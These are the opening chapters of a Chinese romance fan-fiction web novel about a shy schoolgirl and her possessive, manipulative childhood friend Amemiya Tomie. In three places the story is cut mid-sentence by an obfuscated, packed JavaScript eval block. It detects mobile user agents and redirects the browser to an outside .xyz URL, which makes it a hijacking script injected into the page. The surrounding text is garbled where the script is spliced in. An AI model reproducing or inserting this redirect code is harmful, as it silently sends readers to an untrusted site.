《[综漫]请和反派恋爱吧！》 1. 第一章 奈绪子是个平平无奇的女子高中生。 家境平平无奇，长相平平无奇，就连人生经历也平平无奇。 截至她目前的人生里，从来没发生过什么称得上是意外的事： 既没有突然生出几只五彩斑斓的蛋，也没有遇见什么家庭教师，更没有觉醒所谓的替身能力。 唯一一件不太平常的事，就是她拥有一个缠人又魅力无边的竹马—— 雨宫富江。 雨宫长了一张异常俊美的脸。 已经到了超越次元的程度，看得久了，甚至会让人产生一种毛骨悚然的错觉。 即便是奈绪子也得承认，他完全是上帝精雕细琢的得意作品，是无论走到哪里都让人侧目的存在。 而且因为脸长得过分漂亮，所以让人常常遗忘了他也是个相当聪明的人的事实。 因为差距大得简直不像处于一个次元，所以她甚至都没有办法对他产生嫉妒这种情绪。 此时雨宫正站在她家门口。 似乎是察觉到了她的视线，远远的，他就用自己那双美丽却幽深的黑色眼眸紧盯着她。 “奈绪子，你是猪吧？否则怎么会在开学第一天睡到这种时候？” 她忍不住反驳：“我可没有让你等我呢，雨宫君。我只是稍微多睡了五分钟，还不到那么过分的程度吧。” 从奈绪子有记忆起，雨宫富江就住在她家隔壁。 和倍受冷落的她不同，雨宫一直都是孩子里最受欢迎的一个。但也不知道是不是因为可怜她，他始终只选择和她待在一起。 她曾经问过他这件事，这位「人気者」的回答平淡而有说服力： “虽然都是蠢货，但是安静的蠢货，和聒噪的蠢货，我还是知道该怎么选择的。” 呵呵，她才不需要这种气人的偏爱。 比起雨宫这种高高在上的施舍，奈绪子更向往一个可以一起逛街、讨论游戏男主角和化妆品的女性朋友。 可因为雨宫对她过于亲密的态度，让她在得到众人羡慕的同时，也没办法和除他以外的其他人建立更加亲密的关系。 准确的来说，她能称得上是朋友的人，只有雨宫君一个。 他自然而厚脸皮地略过这句话，视线落到她手里捏着的三明治上：“奈绪子，我也饿了，你得分我一半。” “哈，才不要呢。你家里明明有个做饭更好吃的保姆阿姨不是吗？为什么总是要饿着肚子下楼？” 因为他这别扭的坏习惯，奈绪子总是不得不把自己一半的早餐分给他。 “因为感觉奈绪子手里的三明治更诱人呢。” “……没有下一次了！”她只好费力地把它掰成两份，将其中更大的一块递给他。 他一手拎着自己的书包，一手插在裤兜里，一时腾不开手，干脆半弯下腰，从她手里把三明治叼了过去。 靠近时，舌尖还有意无意地轻擦过她的手指。 “喂，雨宫君，你完全不讲卫生啊。”她缩回手，将被舔舐过的手指在他身上轻蹭了一下，“下次注意一些，知道吗。” 如果这场景让同学们看见，估计她会被视线刺成筛子。 “知道了，”雨宫轻叹一声站直身体，催促她，“时间不早了，我们快出发吧。否则就要迟到了。” 明明磨蹭的人是他，现在又要开始装作好学生的样子。 两人并肩走了好一阵，周遭也没什么行人，奈绪子觉得这是个绝佳的机会。 但撞上雨宫的眼眸，她又莫名觉得有点心虚。 “嗯，那个……雨宫君。” “你直说吧。支支吾吾这种态度，不该出现在你这种思想太简单的笨蛋身上。”他挑起眉，轻浮的表情在那张完美的脸上，让她有种想给他一拳的冲动。 她强忍下来：“雨宫君，我们已经高三了。” “嗯，所以呢？” “所以……所以我们能不能暂时保持距离？我想交一个除了雨宫君以外的新朋友。” 雨宫不敢相信自己的耳朵，以至于前二十秒都没反应过来听到了什么。 他的脸色几度变换，一会儿青一会儿红，像是对于她突如其来的叛逆，又惊讶又愤怒。 呼吸急促几分，几次呼吸后，他才咬牙冷笑一声：“想甩开我吗？奈绪子，你想也别想。” “不是甩开，”她知道自己这是无理取闹，但还是竭力说服他，“只是交更多的朋友而已。除了我，雨宫君不也有别的朋友吗？” “什么时候的事？” “嗯？” 他微微蹙眉，像疑惑又像嘲弄：“哈，我什么时候有别的朋友了？” 她仔细回想：“比如说你前桌的铃木君，经常一起做实验的藤岛桑，还有球队的海野君……” “哈，奈绪子，没想到你还挺关注我的嘛。”他扯了下嘴角，“不过如果你口中说的铃木君，是那个飞机头的傻大个，那你该知道我早就烦透了他。” 他对谁不是都这个态度吗？奈绪子可分辨不出来，他到底喜欢谁厌烦谁。 不过怕他突然发脾气，她还是抿紧唇，把反驳的话咽了回去。 “还有那个藤岛，根本没人想和她做实验，笨手笨脚的。如果不是你非得要当这个好人，我们也不至于那门课只拿了B。” 这是事实，她无法反驳。 “既然感觉不满，那你当时应该及时拒绝的啊……”她回嘴，“那不是还有海野君吗？你们经常一起打球呢。” 他眯起眼，好一会儿，才问：“海野是谁？” “……啊？” “打球的人不都是那几个吗？穿着一样的球衣，怎么可能认得出来？” “怎么可能认不出来？海野君很高，还是个健美型的男子。这在高中很少见吧？” “‘健美型’？所以奈绪子你口中所谓的‘朋友’，是‘男朋友’的意思？” 奈绪子愣了一下，然后整张脸腾地红透了，迭声反驳：“才不是啊！不是这个意思，我暂时没有这种想法！我的意思只是，一个可以分享秘密的朋友！” 空气安静下来，她感觉雨宫灼热的视线在她身上转了一圈。 “我不算吗？我连奈绪子你小时候扮成花嫁，然后钻进我被窝里都知道得一清二楚啊……” “啊雨宫君你闭嘴！”她紧张得朝四周围乱看，“我说的不是这种秘密！” “不管是什么，总之我并没有别的什么朋友吧？所以奈绪子你最好也给我安分点。” 奈绪子没办法反驳他，话语堵在了喉口。 好吧，似乎没有。 仔细想来，都是其他人在骚扰他而已。 雨宫君是个眼睛长在脑门上的家伙，他看不上任何人，自然更不可能和他们交朋友。 但他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706470|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从不明确拒绝就是了。 简单来说，就是这个人道德感低，享受别人的追捧，却不愿意为此付出相当的情绪支持。 但他的确也不需要。 大把的人愿意对他趋之若鹜。 像是从她纠结的神情里看出她的语塞，他得意地轻笑了一声： “沉重的书包背来背去，你却并没有因此变得聪明啊。 “走吧，奈绪子，在我腻了之前，这种话话都不要再说了。” “可是……” 他回过身，神情很冷，是从未见过的样子，她只能闭上了嘴。 雨宫走在她身侧，她毫不费力就能感觉到身边的低气压，默默低头小口啃着手里的三明治。 和一个貌美得仿佛在发光的男人走在一起，代价就是如影随形的视线，身为社恐的奈绪子，直到现在也没有办法完全习惯。 “走这边。奈绪子，没有我，你连去学校的路都找不到吧？” 身后传来一声轻短的叹息，她的后领被人揪了一把，将她换了个方向。 他的话音刚落，周遭盯着她的视线就更锐利了几分。 怎么会呢。没有他的话，她也不至于一直低着头。 越是往学校里走，主动朝雨宫打招呼的同学就越多。 他们的视线很灼热，动作却始终保持着礼貌的界限，没有越界。 大概对他们的知情识趣很满意，所以雨宫会有一搭没一搭地应一声，但在没人的地方，他会用带刺的话语将他们劈头盖脸地批评一顿。 两人并肩走进教室，又紧挨着坐下了——是的，从幼稚园起，他们就是同桌。 雨宫东西不多，所以大方地将半个课桌匀给她装零食，但会对这些垃圾食品大肆贬低： “只有奈绪子你会对这种，既没有营养又难吃的东西情有独钟啊。” 前桌的铃木君转过头来，那张清秀的脸藏在略长的刘海里，看不清楚表情。一开口，是道沙哑又飘忽的嗓音： “雨宫君，你来了。” “转回去。” 等铃木君像幽灵一样将头转了回去，奈绪子才反应过来雨宫的意思。 铃木君给她的感觉就是像阴暗的男鬼一样，事实也的确如此，她经常看见他悄悄跟在雨宫身后。 去年的圣诞节礼物，他给奈绪子送的是一封血书，大意是警告她离雨宫远点，否则他就要不客气了。 那封信被雨宫随手撕掉丢进了垃圾桶，他脸上的表情不知道是惊慌还是恐惧，总之是显得极度不安。 接连几天她都在深夜突然接到雨宫的电话，他还扬言要杀了铃木君。 被她崩溃地大骂一顿，他才停止了这种疯狂的行为。 那之后没过多久，雨宫就恢复了与铃木君的相处模式，除了态度要更冷一点，她看不出来太大的区别。 她还以为他们和好了呢。 下课铃声刚响起，奈绪子就恍恍惚惚地睡了过去。 昨晚她熬夜打通了某个乙游的隐藏结局，直到深夜才入睡。 “奈绪子，你已经晕过去了吗？” 迷迷糊糊间，一只炽热的手在她脸颊上捏了捏，又捏了捏。 她不悦地睁开眼，正好撞进他漂亮的双眸中。他学着她的样子趴在桌上，和她四目相对。 眸光倒映着她的脸，睫毛长而翘，眼里闪烁着某种温柔的光晕。 2. 第二章 就是这张太过完美的脸，让奈绪子总是质疑这个世界的真实性。 她拍开他的手，坐起身揉了揉眼睛：“没有，我只是想睡会儿。不过，你叫醒我有什么事吗？” “下一节是体育活动课呢。” “哦。我不想去了，想待在教室里写试卷。昨天新买了一套呢。” 和雨宫富江这种不需要怎么学习就能考出好成绩的家伙不同，奈绪子是个完全的「努力家」。 她下定决心，要考一所位于大城市的学校。 “不可以哦。”然而这提议被他毫不犹豫地驳回。 “啊？为什么？” “因为你要给我送水。”他全然一副理所当然的模样。 这种事情落到上川学园任何一个人头上，都是难以拒绝的神谕——除了奈绪子。 “不要。”光是想想，她就觉得社恐症犯了，“给你送水的人这么多，根本不差我一个。再说了，那里肯定很多人吧。” 这是事实，雨宫打球的时候，看台上总是爆满的，而她最讨厌人群。 “可是，再多的人，都不如奈绪子你一个吧。我只想喝你送的水。” 他这话说得暧昧而意味深长，但奈绪子知道，这只是他不择手段的其中一种方式而已，本质上和拿着刀逼迫她没有任何分别。 再拒绝下去恐怕他要发脾气，她只好勉强点了点头：“好吧，但是送完我可就要离开了。” 她被他拉起身，推进了更衣室。 上川学园足足有五十年的历史，听说奈绪子的父母从前也是在这里读书的，可想而知得有多么古老。 只是自从奈绪子入学，它就接连进行了几次大翻新，总而言之，现在已经成了周围几个小镇里有名的景点学园。 也许是毫无根据的联想，但她总觉得这是得益于雨宫君。 装修过后的篮球场大而漂亮，看台上能容纳的人数翻了十几倍。 雨宫找了个最方便看球赛的位置，示意她：“坐下吧。” 奈绪子和座位上坐着的同学面面相觑，瞪大了眼：“可是，这座位上有人啊……” “是吗？”他脸上的表情没有什么变化，还是温和而友好的，只是说出来的话未免有些欠揍，“你能走远点吗？我想让她坐你的位置。” 他直白而无礼的话语落下，那位同学很快红着脸站起身：“可以，当然可以！雨宫君你想要什么都可以！” 奈绪子刚才还有些担心他会挨揍，现在又一次深刻地明白了一个事实：这个世界果然是围着雨宫君转的。 “好了，他现在滚了。你可以坐下了吧？”他弯起眼笑，乍一看上去，根本就不像个混蛋。 这种事情雨宫从小到大都没少干，他会不择手段得到一切他想要得到的东西，这也是她不敢总惹他发怒的原因。 她也只能在心里默默地朝那位同学道歉。 尽管她根本看不懂比赛规则，但通过现场狂热的阵阵欢呼来看，雨宫应该打得很不错。 看不懂的人应该不止她一个，因为在她昏昏欲睡之时，旁边传来女同学讨论雨宫君穿着的声音，她们为他穿黑色T恤还是白色T恤更好看而争论不休。 她们没有吵太久，因为很快得出了结论： 雨宫君果然穿什么都好看。 不远处他又抬手进了个球，白皙而轮廓流畅的肌肉微微鼓起，在太阳下反射着好看的光晕。 他像是无意地往看台上看了一眼。 奈绪子当然没有注意到，因为她此时已经靠着座椅睡着了，还睡得很香。 真是没心没肺啊。 她睡得简直不知今夕何夕。 不知道什么时候，周遭安静了下来，但很快，又爆发出更大的惊呼。 朦朦胧胧间，奈绪子感觉手里的瓶装水被一只手强硬地抽了出去。 雨宫像是掺了冰碴子的嗓音响起： “哈，奈绪子，你就是这样给我送水的吗？” 奈绪子奈绪子奈绪子奈绪子…… 只有雨宫君会这么像念经一样喊她喊个不停。 对哦，她还在看雨宫君的球赛呢。 她坐直了身体，这才发现周围不知道什么时候围满了人，此时都直勾勾地盯着雨宫旁边的自己。 “我太困了，只是不小心睡了一会儿……”她的声音越来越低。 “看起来不止一会儿吧。你又熬夜玩你那些无聊的恋爱游戏了吗？”他把水喝空，像发泄似的，将它恶狠狠地扭作一团，随手丢进了垃圾桶里。 “行了，走吧。” “啊？” “又傻了吗奈绪子？已经到吃饭时间了。” “哦。” 她站起身，始终低着头，上台阶的时候险些栽倒，被身后的一双温热的手扶了一把。 明明刚刚才剧烈运动过，他身上却并没有什么异味，只有独属于他的淡香，氤氲在她鼻尖。 “奈绪子你是笨蛋吗？走路也能摔？”他的声音听起来有几分恼怒，和几分不知所措。 手心一暖，奈绪子被他牵住手，破开人群旁若无人地往外走。 这种感觉简直太羞耻了，她从到到尾只敢低着头盯着雨宫的鞋跟。 “雨宫君，我还是觉得我们应该保持一点距离。” 他们中午时候一般会到天台上用餐，因为这里安静，风景也好，更重要的是，只有她和雨宫两个人。 从前还是陆陆续续会来好些人，当然无一例外都被他不客气地赶走了。 雨宫君挑了个位置坐下，反问：“你最近是叛逆期到来了吗？这明明是我们早就习惯的事不是吗？” “是，可是这样的话，就没有别人愿意和我交朋友了。” “奈绪子不需要除我以外的朋友。”他自顾自下了定论，似乎惊讶于她这个想法的坚定，挑了挑眉。 “我当然需要啊，我和雨宫君这种人气者完全不一样。” 雨宫并没有把她的话当真，将自己的饭盒打开，扫了一眼，就准备将她的那一份换过来。 “我不喜欢吃胡萝卜，想和你换。” 她果然很快忘了刚才正在琢磨的事：“可是我的盒饭里有玉米，你上次也说你不喜欢。” 雨宫的家庭状况比她家要好得多，他的父母虽然常年在国外做生意，但为他请了个做饭非常好吃的保姆。 此刻他的饭盒打开着，新鲜肥美的海鲜寿司一只只整齐地躺在油纸上，看上去非常诱人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706471|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而比起这些可爱的寿司，她更想吃她妈妈炸的香酥炸猪排。 他不依不饶：“我现在开始喜欢了。再说了，我今天也不是非常想吃寿司。” “可是为什么你明明不想吃寿司，却还要让阿姨为你准备呢？” “本来是想吃的，可你不是让我等了很久吗？还在我打球的时候睡着了。我现在就只想要你手里的那一份，很过分吗？” 他熟练地甩锅。 幼稚！无聊！他就是想抢她的炸猪排！ 脾气比海底针还要难以捉摸！ 她气得捏紧了拳头，但却不敢和他硬碰硬，只好动作缓慢地把自己的饭盒往他的方向推了一点。 还没有推多远，就被他劈手夺走了。 似乎看出来她的纠结，雨宫轻嗤一声，把炸猪排丢到了她碗里。 “算了，看在你眼睛都快掉进碗里的份上，让给你吃好了。反正我也不喜欢。” “真的吗？”奈绪子有几分不好意思，“可是这样的话，雨宫君你就没什么菜可以吃了。” “我为你迟来的醒悟感到欣慰，奈绪子。”说着，他伸手在她脸颊上捏了捏，“明明已经是个高中生，长得却还像个小学生啊。” 不知道是吃什么长的，雨宫的身量在整个学园里也是鹤立鸡群的存在。 而一起长大的奈绪子却只是可怜兮兮的、普通的日本女子高中生的身高。 再加上身材瘦削，看起来就像棵没发育完全的豆芽菜。 好在也许是相差太多，即使是邻里间拿她和雨宫比较的人很少，让她免除了不少无形的自卑。 她拍开他的手：“所以我才要多吃点啊，你别打扰我吃饭。” 奈绪子实在是有些饿了，称得上是狼吞虎咽，雨宫托着腮在旁边盯着她： “你吃饭的样子，怎么像只老鼠一样。” “你是想说仓鼠吧？为什么是老鼠啊？” 他笑了一阵，才道：“很可爱啊，奈绪子。” 她不明白这有什么好笑的，甚至感觉自己的内心受到了打击。 上学第一天，她就被雨宫气得一肚子火，以至于下午回家时她拒绝和他同行。 “你最好不要和老鼠一起放学回家。” 奈绪子远远走在前面，并且坚持自己背自己的背包。 身后传来轻微的脚步声，她被人按住，发顶感受到了某个人鼻息间喷洒出的热气。 该死的，他怎么长得这么高啊。 她加快了脚步。 “今天我想一个人回家，雨宫君你就不要再等我了。” 雨宫轻松地拉住她的背包，制止了她的脚步，甚至有闲心恐吓她： “是吗？奈绪子已经不害怕了吗？比如说会在路边突然跳出来的猥琐大叔之类的。” “没有雨宫君的话，根本就不可能发生这种事吧。” 她一个人的时候很安全、非常安全，事情沾上他才会变得不对劲。 “总之我想一个人待着，你就不要再多问了。”她捂住两只耳朵，一副拒绝和他交流的样子。 “好吧，如果你坚持的话。” 周遭安静了下来，等奈绪子再回头去看的时候，已经没了雨宫的身影。 3. 第三章 “雨宫君？” 她站在原地等了一会儿，但静悄悄的，看来雨宫富江已经走远了。 松了一口气，她决定从今天开始适应没有雨宫君的生活。 雨宫家就在川濑家的隔壁，是一栋相当漂亮的带花园的小洋楼。 园子里的花开得清丽而动人，但显然得不到主人的垂怜，大多时候为此驻足的都是路人。 奈绪子绕回了自己的家，刚换下鞋，门就在她眼前刷地打开，露出门后那张属于雨宫的俊美的脸。 “这么晚啊奈绪子，我可是等你很久了。” “雨宫君？你怎么在这里？” 川濑美里拿着锅铲瞪了她一眼：“奈绪子，对待客人要礼貌哦。” 雨宫倚靠着墙壁，一副悠然的姿态：“我和美里姐姐说了我们吵架的事，她觉得我们应该聊聊，所以邀请我到这里用晚饭。奈绪子好像对此很不开心啊？” 这个不知廉耻的家伙。 奈绪子瞪大了眼，用口型道：“雨宫君，你可别太过分了。” “好啦，你们两个都不要再站在门口了，都进来吃饭吧。今天做了你们两个都爱喝的味噌汤哦。” 川濑女士是一位小有名气的厨师，在附近开了一家料理馆，做的菜自然是毋庸置疑的美味。 她喜欢大家在餐桌上夸赞她的厨艺，所以川濑家并没有什么“食不言，寝不语”的规矩。 “哎呀，我们雨宫君，连吃饭都很优雅呢。” 川濑美里是一位百分百的颜值学会会员，因为雨宫富江从小就好看的脸，对他有种过分的热情。 除了从小就会让奈绪子给他送玩具和零食以外，还会经常邀请他到家里用餐，言语里也没少提到他。 “美里姐姐过奖了，是您的厨艺实在太好，今天中午的炸猪排也相当美味呢。” 胡说啊，那块炸猪排明明进了她的肚子。 “诶，是吗？那就好，雨宫君喜欢的话，我应该准备两人份的。得到雨宫君的夸赞，实在太令人高兴了啊。”川濑美里立刻笑弯了眼。 奈绪子咬着勺子，看着两位逢场作戏的体面人，微微叹了口气。 “不过，你们是为什么吵架呢？雨宫君可是个温柔的人啊，奈绪子，是不是你又对雨宫君发脾气了呢？” 她从饭碗里抬起头：“才没有吵架！只是一些小摩擦。” 她可不好意思向妈妈提起这些青春期的小心思，在桌底下踢了雨宫一脚，用余光暗示他赶紧亡羊补牢。 他低头装作一副若无其事的样子，让奈绪子急得干脆踩了他一脚。 “呃嗯。”他浮夸地痛呼了一声，“奈绪子，你踩我做什么？” 见她挤眉弄眼的，还凑上前来摸摸她的脑袋：“眼睛怎么了吗？怎么对我眨个不停呢？” “……” 眼见着川濑美里看他们的眼神逐渐变得奇怪，奈绪子连忙推开了他：“雨宫君！” “嗯？怎么了？” “哎呀，你们两个孩子。”川濑美里不知道想到了什么地方去，捧着脸，“妈妈也不是太保守的人，只要不影响学习就没关系哦。” 她解释道：“妈妈，才不是因为这种事情啊。我和雨宫君根本就……” 这个解释很苍白，因为不知道什么时候，雨宫已经悄悄握紧了她的右手，与她十指相扣。 他一定是故意的。 看着他唇边那抹明显的笑，奈绪子气得说不出话来。 “看来你们需要一些空间哦。”川濑美里捂住眼，起身离开。 奈绪子忍无可忍：“雨宫君，你不觉得自己很过分吗？” “不觉得。比起这个，奈绪子你不觉得你这种踢开我的行为更过分吗？” “说了不是踢开。” “不管奈绪子你怎么想，总之我这辈子都会死死缠着你的。别想甩开我。”他的声音沉了下来，脸上游刃有余的表情散了，眼里氤氲着某种可怕的风暴。 她只能吞下这口气：“随便你吧。” 听见她的回答，雨宫轻哼了一声，又恢复了那副云淡风轻的表情。 “别再惹我生气了，奈绪子。” 呵呵。 当晚，奈绪子就在房间里的标靶上贴了雨宫的照片。 虽然是这么答应的，但她交往新朋友的想法并没有因此消弭。 日本的学校放学很早，有时候雨宫会在众人的簇拥下到球场里打一会儿篮球。 奈绪子对篮球没有什么兴趣，不是在教室里写试卷，就是到藏书室借书看。 但这都过了整整两年，她已经快要把藏书室的书看了个遍，至于为什么还时不时到这里来，当然是醉翁之意不在酒。 藏书室偏僻、老旧，平时来借书看书的学生很少，除了奈绪子，就只剩下一位戴眼镜的学长。 也不知是什么原因，他留级了。 所以碰面时，奈绪子还是习惯称呼他为前辈。 虽然长得远不如雨宫，但他也称得上清秀挺拔——可贵的是他那温和的脾气。 跟她说话的时候，总是轻声细语，生怕惊扰了她。 身边的男性只有一个雨宫的、单纯的奈绪子，自然轻而易举地沦陷了。 甚至在得知他留级时，还小小地雀跃了一下。 这种事情她当然不敢告诉雨宫，潜意识告诉她，可能会发生很糟糕的事情。 因此她才试探着想要找个能聊聊少女心事的女性好友。 现在这位心选前辈正坐在阳台的某张椅子上，捧着本艰涩乏味的书，津津有味地看着。 阴影打在他身上，连阳光都显得如此温柔。 奈绪子不由在心里感叹今天的运气还不错。 察觉到她的接近，入江怜央笑着朝她打了个招呼：“川濑酱，下午好啊。” 笑起来的时候，他藏在眼镜后的双眼微微弯起，看得情窦初开的小女孩连心跳都漏了一拍。 “入江前辈，下午好。”她在他右手边的另一个座位坐下，借着余光小心翼翼地偷看他。 “川濑酱是来借书的吗？” “啊，不是的，是来还书的。” 入江怜央的视线略过她怀里的书：“既然是川濑酱喜欢的，一定是很好的书吧。” 这是奈绪子最喜欢的一本诗集，百看不厌，里面的每一首诗，她几乎都能背了。 “也请借给我看看吧。” 她晕乎乎地把书递给他，直到从夹层中掉下来一张硬卡片，她才猛地回过神来。 完、完蛋了！ 入江怜央将那张粉色的手写信捡起，来回翻看了一遍，被奈绪子慌里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706472|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌张地夺了回来。 “写的好像都是我的名字，是送给我的吗？” 在看这些缱绻浪漫的诗句时，她满脑子都是前辈温柔的脸，所以忍不住在书签上写了无数个“入江怜央”。 “不、不是。我只是随便写写。”她的脑袋越埋越低，语气也越来越轻。 过了好一会儿，入江怜央才轻笑了一声。 “我很高兴哦，川濑酱。你也对我有好感的吧？” 这是什么意思？ 奈绪子生锈的大脑快要反应不过来。 前辈的气息越来越近，直到感觉有一只手在她的脑袋上轻柔地抚摸了一下：“好像卡住了啊。” 她快要晕过去了，所以拔腿就往外跑，连那张写满“入江怜央”的书签落下了也没回头。 额头一痛，不知撞到了谁身上。 她没来得及抬起头，发顶就传来雨宫熟悉的轻嗤： “慌慌张张的，奈绪子，你被野狗追了吗？” 顿了顿，他突然低下头，在她身上轻嗅了嗅。 “不对，似乎真的有野狗的味道啊。” 雨宫的视线围着她转了一圈，最后定格在她可疑的脸上。 “你到哪儿去了？” “就是……就是到藏书室看书了啊。” “看书看得满脸通红吗？学校的藏书室还有那种书吗？”他道，“身上也有奇怪的味道。” 奈绪子心情还没平复，没心思与他争辩：“你是狗吗？” “奈绪子，你的脾气越来越坏了。” “还不是跟雨宫君你学的吗？” 他随手把手里的背包丢还给奈绪子：“我才没教你这些。给你，自己背。” 雨宫看起来风平浪静，但走在前面，她总觉得如芒在背，身后凉嗖嗖的。 “我说过的吧？奈绪子敢踢开我的话，我会不客气的。” “你少疑神疑鬼了，什么也没发生。”她没好气，“我的社交账号密码不是已经给你了吗？” 自从在她家里大闹一场后，他就威胁着把奈绪子的账号要到手里，她烦不胜烦，只好同意了。 “最好是这样。”雨宫说完，突然从身后拉住了她的后领。 “你又要做什么？” 他喜怒无常的，前几分钟还怒气冲冲，现在又变得温和如水。 “今天时间还早，你不是喜欢吃甜品吗？我们吃完再回去吧。” 话落，他就拉开门，把奈绪子推进了甜品店。 她的确喜欢甜品，尤其是这家春日和甜品店的巧克力巴菲。 只可惜川濑美里女士给的零花钱太少，她一个月也吃不上几次。 好在她有个多金且慷慨的竹马。 雨宫坐在她对面，双手撑着下颌平视着她。 “感觉这样下去要被奈绪子你吃破产了呢。” 中华有句老话叫做，“吃人嘴短，拿人手短”，奈绪子现在正处于这种状态。 手里握着一杯加了双份巧克力的巴菲，她怎么看他怎么觉得顺眼。 “无论你现在说什么难听的话，我都会原谅你，雨宫君。” “是这样吗？”雨宫的语气淡淡的，尾音像带着钩子，但她现在脑子被巴菲堵住，完全听不出来，“那我们来难得地谈谈心吧，奈绪子。” 4. 第四章 “嗯？” “我们认识很久了吧？” 她仔细回想：“从出生就——好像是从两三岁？三四岁？” “就知道你是个笨蛋。”雨宫粗暴地打断了她的话，那张漂亮的脸突然诡异地抽动了一下，表情变得有几分狰狞。 不过只一瞬间，又恢复了正常。 “明明是七岁，你生日过后两天。” 她忍不住质疑：“雨宫君，高中生是不能喝酒的。你是不是……？” 虽然记不清楚具体时日，但她确定，绝不是在七岁。 毕竟那会儿她已经记事了。 “总之，我们已经认识很久了吧？奈绪子从小到大的事情，就没有我不知道的。” 这完全就是鬼话，她心想，她还是有不少秘密的呢。 似乎是猜到了她心里所想，雨宫冷笑了一声：“你现在为成功隐瞒我某件事而沾沾自喜吗？比如说今天下午藏书室那个四眼丑男？” “什么叫四眼丑男啊？入江前辈明明很好看！”反驳的话说到一半，她才像是被人扼住咽喉，悻悻闭上了嘴。 “总算承认了吗？” 奈绪子盯着面前加了双份巧克力的大份巴菲，暗叹了口气。 这简直是鸿门宴。 脸侧忽然伸过来一只手，捧住了她半张脸。 “奈绪子不是答应过吗？不会背叛我的。” “这个词语不是这么用的吧？”她拍开他的手，“再说了，入江前辈他……他才不算是朋友呢。” 话毕，奈绪子就有幸在这个不大的甜品店里，见证了雨宫富江堪称教科书级别的变脸表演。 他本就苍白的脸待在阴影里，眼眸暗沉而无光，紧紧盯着她，微微眯起眼，似乎在思忖着什么。 刚被她拂落的手紧了又松，最后他只沉声警告：“离他远点知道吗？奈绪子。” “入江前辈是个很好的人，我才不会听你的。不过，雨宫君你到底凭什么管我这么多？” 简直就像把她当成自己的所有物一样。 提到与初恋的前辈有关的事，奈绪子也变得不再冷静，瞬间把自己刚才的flag丢到了九霄云外。 这是奈绪子第一次因为别人而反抗他，这让他愣了一下。 下一秒，他就站起身来，焦躁不安地来回走了几步，双眼红得吓人：“凭什么？奈绪子你居然问凭什么吗？ “就凭我不愿意！你认识那只三脚□□，经过我的允许了吗？” “他才不是三脚□□，更不是四眼丑男！”奈绪子忍不住拍桌起身，“我才不要听你的。况且，我对入江前辈根本不是那种普通的感情呢……” 她的声音越来越缠绵，也越来越轻，脸上不自觉浮起了某种藏不住的少女心事。 “哈，你这是什么意思？” 她害羞了：“算了，不和你说了。” 她落荒而逃，雨宫则在她身后被气得发笑。 “川濑奈绪子，你给我滚回来解释清楚！” 奈绪子抱紧背包，一路小跑回家。 她不知道雨宫在想什么，她也不在意。 虽然周遭的人好像都为他着迷，但她显然是众人皆醉我独醒的那个。 既然是一起长大的，偶尔觉得乏味，也是可以理解的吧。 这是雨宫富江生平第一次品尝到愤怒这种滋味。 好像有一簇火苗堵在心口，灼热、发烫，不上不下。 喉口被烧得发烫，甚至让他有些想要呕吐。 他很「愤怒」，是一种很想把一切都「撕碎」、「摧毁」的感觉。 所以他想让奈绪子明白，惹他发怒的「下场」。 雨宫抬眼望向一旁的玻璃橱窗。 天色渐暗，玻璃上映出春日和甜品店内挂着的五颜六色的小彩灯，和他阴沉的脸。 奈绪子很少和雨宫富江吵架。 这应该得益于她总对这位竹马有种说不清道不明的矛盾感情，难以接近，也难以远离。 似乎有一根无形的线，将他们紧紧维系着。 对上雨宫那双湖泊似的漂亮的双眸，她有时会生出点不知从何而来的「愧疚」。 其实路过雨宫家门口，看见那片迎风招展的娇花时，她就有些后悔了。 她不该让他生气的。 不过不管怎么想，都是莫名其妙对入江前辈出言不逊的雨宫君更过分吧？ 虽然不能指望雨宫君这种太高傲的人能低声下气地道歉，但是如果他的态度能够不那么嚣张——比如说再请她吃一份巴菲，原谅他也不是不可以。 想着下午的事，晚上她吃得不多——当然，也有可能是因为下午那份巴菲实在太大份了。 连川濑美里也忍不住问：“只吃这些就够了吗？” 雨宫家和川濑家就隔着个小花园，她打开窗户，往对面雨宫的房间看去。 灯亮着，但看不清人影。 明明平时只要奈绪子站在窗口前，他就会像有所感知似的拉开窗帘，但今天没有。 好吧，雨宫大概是动真格的，因为第二天奈绪子匆匆赶到楼下时，并没有看到那道本该等在原地的、熟悉的身影。 印象中，这还是她第一次独自上学呢。 竟然有些新奇。 她踩着铃声走进教室时，雨宫已经在座位上稳稳坐着了，似乎是因为他们两人破天荒地分开行动，人群间本该平静的暗潮开始隐隐澎湃。 铃木君转头瞥了她一眼，用的是一种说不清楚是轻蔑还是不屑的视线。 嗯？ 奈绪子不明所以。 一阵低气压笼罩着雨宫，他合眼趴在桌上，不知道是装的，还是真睡着了。 